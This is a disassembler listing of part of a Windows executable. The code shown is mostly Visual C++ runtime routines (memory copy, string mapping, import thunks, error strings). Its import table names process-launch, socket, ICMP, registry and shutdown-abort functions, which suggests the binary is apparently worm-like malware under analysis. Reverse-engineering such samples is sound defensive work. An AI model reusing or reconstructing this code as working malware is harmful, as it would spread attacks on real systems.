		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050AC	; LCMapStringW
		test	eax, eax
		jnz	loc_404A0B


loc_40497C:				; CODE XREF: sub_4047EE+66j
					; sub_4047EE+B5j ...
		xor	eax, eax


loc_40497E:				; CODE XREF: sub_4047EE+ADj
					; sub_4047EE+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_404990:				; CODE XREF: sub_4047EE+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4026C0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4049C4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4049C4:				; CODE XREF: sub_4047EE+1C2j
		cmp	ebx, edi
		jz	short loc_40497C
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050AC	; LCMapStringW
		test	eax, eax
		jz	short loc_40497C
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4049EB
		push	edi
		push	edi
		jmp	short loc_4049F1
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4047EE+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4049F1:				; CODE XREF: sub_4047EE+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_4050C0	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_40497C


loc_404A0B:				; CODE XREF: sub_4047EE+165j
					; sub_4047EE+188j
		mov	eax, esi
		jmp	loc_40497E
sub_4047EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A12	proc near		; CODE XREF: sub_4047EE+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_404A2F


loc_404A22:				; CODE XREF: sub_404A12+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_404A2F
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_404A22


loc_404A2F:				; CODE XREF: sub_404A12+Ej
					; sub_404A12+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_404A3A
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_404A3A:				; CODE XREF: sub_404A12+21j
		mov	eax, edx
		retn
sub_404A12	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A3D	proc near		; CODE XREF: sub_403DB8+1Fp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_407274
		test	eax, eax
		jz	short loc_404A55
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_404A55
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_404A55:				; CODE XREF: sub_404A3D+7j
					; sub_404A3D+12j
		xor	eax, eax
		retn
sub_404A3D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A60	proc near		; CODE XREF: sub_403E83+2EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404A80
		cmp	edi, eax
		jb	loc_404BF8


loc_404A80:				; CODE XREF: sub_404A60+16j
		test	edi, 3
		jnz	short loc_404A9C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404ABC
		rep movsd
		jmp	ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------


loc_404A9C:				; CODE XREF: sub_404A60+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_404AB4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_404ABC+4[eax*4]
; ---------------------------------------------------------------------------


loc_404AB4:				; CODE XREF: sub_404A60+46j
		jmp	dword ptr ds:loc_404BB8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404ABC:				; CODE XREF: sub_404A60+31j
					; sub_404A60+8Ej ...
		jmp	ds:off_404B3C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404AD0
		dd offset loc_404AFC
		dd offset loc_404B20
; ---------------------------------------------------------------------------


loc_404AD0:				; DATA XREF: sub_404A60+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_404ABC
		rep movsd
		jmp	ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404AFC:				; DATA XREF: sub_404A60+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_404ABC
		rep movsd
		jmp	ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404B20:				; DATA XREF: sub_404A60+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_404ABC
		rep movsd
		jmp	ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404B3C	dd offset loc_404B9F	; DATA XREF: sub_404A60:loc_404ABCr
		dd offset loc_404B8C
		dd offset loc_404B84
		dd offset loc_404B7C
		dd offset loc_404B74
		dd offset loc_404B6C
		dd offset loc_404B64
		dd offset loc_404B5C
; ---------------------------------------------------------------------------


loc_404B5C:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_404B64:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_404B6C:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_404B74:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_404B7C:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_404B84:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_404B8C:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404B9F:				; CODE XREF: sub_404A60:loc_404ABCj
					; DATA XREF: sub_404A60:off_404B3Co
		jmp	ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404BA8	dd offset loc_404BB8	; DATA XREF: sub_404A60+35r
					; sub_404A60+92r ...
		dd offset loc_404BC0
		dd offset loc_404BCC
		dd offset loc_404BE0
; ---------------------------------------------------------------------------


loc_404BB8:				; CODE XREF: sub_404A60+35j
					; sub_404A60+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404BC0:				; CODE XREF: sub_404A60+35j
					; sub_404A60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404BCC:				; CODE XREF: sub_404A60+35j
					; sub_404A60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404BE0:				; CODE XREF: sub_404A60+35j
					; sub_404A60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404BF8:				; CODE XREF: sub_404A60+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_404C2C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404C20
		std
		rep movsd
		cld
		jmp	ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404C20:				; CODE XREF: sub_404A60+1B1j
					; sub_404A60+208j ...
		neg	ecx
		jmp	ds:off_404CF0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404C2C:				; CODE XREF: sub_404A60+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_404C44
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_404C44+4[eax*4]
; ---------------------------------------------------------------------------


loc_404C44:				; CODE XREF: sub_404A60+1D6j
					; DATA XREF: sub_404A60+1DDr
		jmp	ds:off_404D40[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404C58
		dd offset loc_404C78
		dd offset loc_404CA0
; ---------------------------------------------------------------------------


loc_404C58:				; DATA XREF: sub_404A60+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_404C20
		std
		rep movsd
		cld
		jmp	ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404C78:				; DATA XREF: sub_404A60+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_404C20
		std
		rep movsd
		cld
		jmp	ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404CA0:				; DATA XREF: sub_404A60+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_404C20
		std
		rep movsd
		cld
		jmp	ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404CF4
		dd offset loc_404CFC
		dd offset loc_404D04
		dd offset loc_404D0C
		dd offset loc_404D14
		dd offset loc_404D1C
		dd offset loc_404D24
off_404CF0	dd offset loc_404D37	; DATA XREF: sub_404A60+1C2r
; ---------------------------------------------------------------------------


loc_404CF4:				; DATA XREF: sub_404A60+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_404CFC:				; DATA XREF: sub_404A60+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_404D04:				; DATA XREF: sub_404A60+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_404D0C:				; DATA XREF: sub_404A60+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_404D14:				; DATA XREF: sub_404A60+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_404D1C:				; DATA XREF: sub_404A60+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_404D24:				; DATA XREF: sub_404A60+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404D37:				; CODE XREF: sub_404A60+1C2j
					; DATA XREF: sub_404A60:off_404CF0o
		jmp	ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_404D40	dd offset loc_404D50	; DATA XREF: sub_404A60+1B7r
					; sub_404A60:loc_404C44r ...
		dd offset loc_404D58
		dd offset loc_404D68
		dd offset loc_404D7C
; ---------------------------------------------------------------------------


loc_404D50:				; CODE XREF: sub_404A60+1B7j
					; sub_404A60:loc_404C44j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404D58:				; CODE XREF: sub_404A60+1B7j
					; sub_404A60:loc_404C44j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404D68:				; CODE XREF: sub_404A60+1B7j
					; sub_404A60:loc_404C44j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404D7C:				; CODE XREF: sub_404A60+1B7j
					; sub_404A60:loc_404C44j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404A60	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404D96	proc near		; CODE XREF: sub_401B1B+33p
		jmp	ds:dword_405148
sub_404D96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404D9C	proc near		; CODE XREF: sub_401B1B+24p
		jmp	ds:dword_405140
sub_404D9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404DA2	proc near		; CODE XREF: sub_401B1B+7p
		jmp	ds:dword_405144
sub_404DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404DA8	proc near		; CODE XREF: sub_4034B0+13p
		jmp	ds:dword_40508C
sub_404DA8	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 94h dup(0)
dword_405000	dd 77DD189Ah		; DATA XREF: sub_401AED+26r
					; sub_40219B+C8r
dword_405004	dd 77DD59F0h		; DATA XREF: sub_40219B+BFr
dword_405008	dd 77E2A571h		; DATA XREF: sub_4020D9+92r
dword_40500C	dd 77DD5ECCh		; DATA XREF: sub_401AED+Dr
					; sub_40219B+97r
dword_405010	dd 77DD5C55h		; DATA XREF: sub_401AED+1Dr
		align 8
dword_405018	dd 77E73167h		; DATA XREF: sub_4010D2+76r
					; sub_40126C+8Fr ...
dword_40501C	dd 77E6E32Eh		; DATA XREF: sub_401210+52r
					; sub_401B59+2ABr
dword_405020	dd 77E6D09Bh		; DATA XREF: sub_401210+31r
dword_405024	dd 77E6E4FDh		; DATA XREF: sub_401210+22r
dword_405028	dd 77E6D071h		; DATA XREF: sub_401210+Er
dword_40502C	dd 77E61BE6h		; DATA XREF: sub_40126C+FBr
					; sub_401583+4D0r ...
dword_405030	dd 77E6E4C8h		; DATA XREF: sub_401B59+275r
dword_405034	dd 77E99331h		; DATA XREF: sub_401B59+259r
dword_405038	dd 77E7A099h		; DATA XREF: sub_401B59+24Ar
					; sub_401F4B+14Dr ...
dword_40503C	dd 77E7AC37h		; DATA XREF: sub_401EC0+7Br
					; sub_4020D9:loc_40213Ar
dword_405040	dd 77E684C6h		; DATA XREF: sub_401F4B+17Br
dword_405044	dd 77E715F7h		; DATA XREF: sub_401F4B+13r
dword_405048	dd 77E73163h		; DATA XREF: sub_401F4B+Cr
dword_40504C	dd 77F5157Dh		; DATA XREF: sub_4020D9+4Er
dword_405050	dd 77E7C2C4h		; DATA XREF: sub_4020D9+48r
dword_405054	dd 77E7751Ah		; DATA XREF: sub_4020D9+5r
dword_405058	dd 77E6BD13h		; DATA XREF: sub_40219B+82r
dword_40505C	dd 77E705B0h		; DATA XREF: sub_40219B+28r
dword_405060	dd 77E805D8h		; DATA XREF: sub_404663+12r
dword_405064	dd 77F5722Fh		; DATA XREF: sub_4044B7+28r
dword_405068	dd 77E7980Ah		; DATA XREF: sub_4044B7+76r
					; sub_404568+51r
dword_40506C	dd 77F516F8h		; DATA XREF: sub_403DE4+2Er
					; sub_403E1A+Dr ...
dword_405070	dd 77E6C703h		; DATA XREF: sub_403B30+1Ar
dword_405074	dd 77E7A13Fh		; DATA XREF: sub_403B30+2Fr
dword_405078	dd 77E7849Fh		; DATA XREF: sub_403997+48r
					; sub_403BD6+14r
dword_40507C	dd 77E7C866h		; DATA XREF: sub_40380C+3Fr
					; sub_40380C+12Dr
dword_405080	dd 77E641EBh		; DATA XREF: sub_40380C+59r
					; sub_40380C+8Dr
dword_405084	dd 77E77CCEh		; DATA XREF: sub_40380C+C5r
					; sub_40380C+11Br ...
dword_405088	dd 77E79D8Ch		; DATA XREF: sub_4036B9+14Ar
dword_40508C	dd 77F6183Eh		; DATA XREF: sub_404DA8r
dword_405090	dd 77F51597h		; DATA XREF: sub_403D77+27r
					; sub_403E83+2C4r ...
dword_405094	dd 77E79E34h		; DATA XREF: sub_403E83+23Fr
dword_405098	dd 77E7C726h		; DATA XREF: sub_403472+11r
dword_40509C	dd 77E76E0Bh		; DATA XREF: sub_403472+2Fr
dword_4050A0	dd 77E78406h		; DATA XREF: sub_4032C7+FFr
					; sub_4032C7+166r
dword_4050A4	dd 77E79C3Dh		; DATA XREF: sub_4032C7+158r
					; sub_4036B9+143r
dword_4050A8	dd 77E7C931h		; DATA XREF: sub_4032C7+19Dr
dword_4050AC	dd 77E781F9h		; DATA XREF: sub_4047EE+42r
					; sub_4047EE+14Dr ...
dword_4050B0	dd 77E7A5FDh		; DATA XREF: sub_404663+1Er
dword_4050B4	dd 77E77405h		; DATA XREF: sub_4047EE+5Er
					; sub_4047EE+A7r
dword_4050B8	dd 77E77EE1h		; DATA XREF: sub_403195+9r
dword_4050BC	dd 77E67702h		; DATA XREF: sub_403195:loc_4031C4r
					; sub_403195+E1r
dword_4050C0	dd 77E79924h		; DATA XREF: sub_403195+7Er
					; sub_4047EE+20Dr
dword_4050C4	dd 77E7C9E1h		; DATA XREF: sub_403195+CEr
dword_4050C8	dd 77E79F93h		; DATA XREF: sub_40292E+C2r
dword_4050CC	dd 77E6177Ah		; DATA XREF: sub_40292E+9Fr
					; sub_4032C7+59r
dword_4050D0	dd 77E7C938h		; DATA XREF: sub_40292E+74r
dword_4050D4	dd 77E7C486h		; DATA XREF: sub_40292E+26r
dword_4050D8	dd 77E75CB5h		; DATA XREF: sub_402A49+1Dr
					; sub_402C00+91r
dword_4050DC	dd 77E616B4h		; DATA XREF: sub_402C00+17r
dword_4050E0	dd 77E79C90h		; DATA XREF: sub_402C00+10r
dword_4050E4	dd 77EB9A84h		; DATA XREF: sub_402CB3+138r
dword_4050E8	dd 77E9C5B1h		; DATA XREF: sub_403195+11Fr
		align 10h
dword_4050F0	dd 77D4C96Ah		; DATA XREF: sub_40126C+B7r
					; sub_40137D+26r ...
dword_4050F4	dd 77D6ADD7h		; DATA XREF: sub_4020D9+BAr
		dd 0
dword_4050FC	dd 762211EFh		; DATA XREF: sub_401F4B+25r
		dd 0
dword_405104	dd 71AB41DAh		; DATA XREF: sub_401028+10r
dword_405108	dd 71AB3ECEh		; DATA XREF: sub_401EC0+43r
dword_40510C	dd 71AB5DE2h		; DATA XREF: sub_401EC0+51r
dword_405110	dd 71AB868Dh		; DATA XREF: sub_401EC0+68r
dword_405114	dd 71AB5690h		; DATA XREF: sub_40137D+179r
					; sub_401583+2DDr ...
dword_405118	dd 71AB1AF4h		; DATA XREF: sub_40126C+DEr
					; sub_40137D+151r ...
dword_40511C	dd 71AB1746h		; DATA XREF: sub_401153+23r
					; sub_40126C+27r ...
dword_405120	dd 71AB3C22h		; DATA XREF: sub_401153+50r
					; sub_40126C+51r ...
dword_405124	dd 71AB3E5Dh		; DATA XREF: sub_401153+68r
					; sub_40126C+6Cr ...
dword_405128	dd 71AB1A6Dh		; DATA XREF: sub_401153+76r
					; sub_40126C+105r ...
dword_40512C	dd 71AB32CAh		; DATA XREF: sub_4010D2+18r
dword_405130	dd 71AB401Ch		; DATA XREF: sub_4010D2+43r
dword_405134	dd 71AB12F8h		; DATA XREF: sub_401045+8r
					; sub_4011D5+7r ...
dword_405138	dd 71AB2BBFh		; DATA XREF: sub_4010D2+29r
					; sub_4011D5+1Er ...
		align 10h
dword_405140	dd 76D62A58h		; DATA XREF: sub_404D9Cr
dword_405144	dd 76D629BBh		; DATA XREF: sub_404DA2r
dword_405148	dd 76D62A37h		; DATA XREF: sub_404D96r
		align 10h
dword_405150	dd 0FFFFFFFFh, 402A05h,	402A19h, 746E7572h, 20656D69h
					; DATA XREF: sub_40292E+5o
		dd 6F727265h, 2072h, 534F4C54h,	72652053h, 0D726F72h, 0Ah
		dd 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_406F34o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4036B9+119o
		align 4
asc_40540C	db 0Ah			; DATA XREF: sub_4036B9+F1o
		db 0Ah,0
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4036B9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4036B9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4036B9+7Do
		align 4
dword_405448	dd 2 dup(0)		; DATA XREF: sub_40380C+39o
					; sub_4047EE+36o
dword_405450	dd 0FFFFFFFFh, 403905h,	403909h	; DATA XREF: sub_40380C+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_404663+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_404663+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_404663+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_404663+Do
		align 4
dword_405498	dd 0FFFFFFFFh, 4048FEh,	404902h, 0FFFFFFFFh, 4049B2h, 4049B6h
					; DATA XREF: sub_4047EE+5o
		dd 562Ch, 2 dup(0)
		dd 56A6h, 50F0h, 5554h,	2 dup(0)
		dd 57D0h, 5018h, 5640h,	2 dup(0)
		dd 57DEh, 5104h, 5638h,	2 dup(0)
		dd 5806h, 50FCh, 553Ch,	2 dup(0)
		dd 586Ah, 5000h, 567Ch,	2 dup(0)
		dd 58ACh, 5140h, 5 dup(0)
		dd 77DD189Ah, 77DD59F0h, 77E2A571h, 77DD5ECCh, 77DD5C55h
		dd 0
		dd 77E73167h, 77E6E32Eh, 77E6D09Bh, 77E6E4FDh, 77E6D071h
		dd 77E61BE6h, 77E6E4C8h, 77E99331h, 77E7A099h, 77E7AC37h
		dd 77E684C6h, 77E715F7h, 77E73163h, 77F5157Dh, 77E7C2C4h
		dd 77E7751Ah, 77E6BD13h, 77E705B0h, 77E805D8h, 77F5722Fh
		dd 77E7980Ah, 77F516F8h, 77E6C703h, 77E7A13Fh, 77E7849Fh
		dd 77E7C866h, 77E641EBh, 77E77CCEh, 77E79D8Ch, 77F6183Eh
		dd 77F51597h, 77E79E34h, 77E7C726h, 77E76E0Bh, 77E78406h
		dd 77E79C3Dh, 77E7C931h, 77E781F9h, 77E7A5FDh, 77E77405h
		dd 77E77EE1h, 77E67702h, 77E79924h, 77E7C9E1h, 77E79F93h
		dd 77E6177Ah, 77E7C938h, 77E7C486h, 77E75CB5h, 77E616B4h
		dd 77E79C90h, 77EB9A84h, 77E9C5B1h, 0
		dd 77D4C96Ah, 77D6ADD7h, 0
		dd 762211EFh, 0
		dd 71AB41DAh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5690h
		dd 71AB1AF4h, 71AB1746h, 71AB3C22h, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB32CAh, 71AB401Ch, 71AB12F8h, 71AB2BBFh, 0
		dd 76D62A58h, 76D629BBh, 76D62A37h, 0
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72707377h, 66746E69h
		dd 53550041h, 32335245h, 6C6C642Eh, 0
aGetprocaddress	db 'GetProcAddress',0
		align 4
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 736C0000h, 70637274h
		dd 4179h, 6C5F0000h, 736F6C63h,	65h, 72776C5Fh,	657469h
		dd 6C5F0000h, 6565736Ch, 6Bh, 72636C5Fh, 746165h, 6C530000h
		dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen		db '_lopen',0
		align 4
		dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
aCreatethread_0	db 'CreateThread',0
		align 4
aWinexec	db 'WinExec',0
		dd 65530000h, 72685474h, 50646165h, 726F6972h, 797469h
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 65470000h
		dd 73614C74h, 72724574h, 726Fh,	72430000h, 65746165h, 6574754Dh
		dd 4178h, 65470000h, 63695474h,	756F436Bh, 746Eh, 6F430000h
		dd 69467970h, 41656Ch, 65470000h, 6E695774h, 73776F64h
		dd 65726944h, 726F7463h, 4179h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 53570000h, 32335F32h, 6C6C642Eh, 0
aInternetgetcon	db 'InternetGetConnectedState',0
aWininet_dll	db 'WININET.dll',0
		align 4
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 4F676552h
		dd 4B6E6570h, 417965h, 62410000h, 5374726Fh, 65747379h
		dd 7568536Dh, 776F6474h, 416Eh,	65520000h, 74655367h, 756C6156h
		dd 41784565h, 44410000h, 49504156h, 642E3233h, 6C6Ch, 63490000h
		dd 6C43706Dh, 4865736Fh, 6C646E61h, 65h, 706D6349h, 646E6553h
		dd 6F686345h, 0
aIcmpcreatefile	db 'IcmpCreateFile',0
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		align 10h
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
		dd 69737265h, 6E6Fh, 78450000h,	72507469h, 7365636Fh, 73h
		dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0
aGetcurrentproc	db 'GetCurrentProcess',0
		align 4
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 4
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
		dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
		dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount	db 'SetHandleCount',0
		align 10h
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
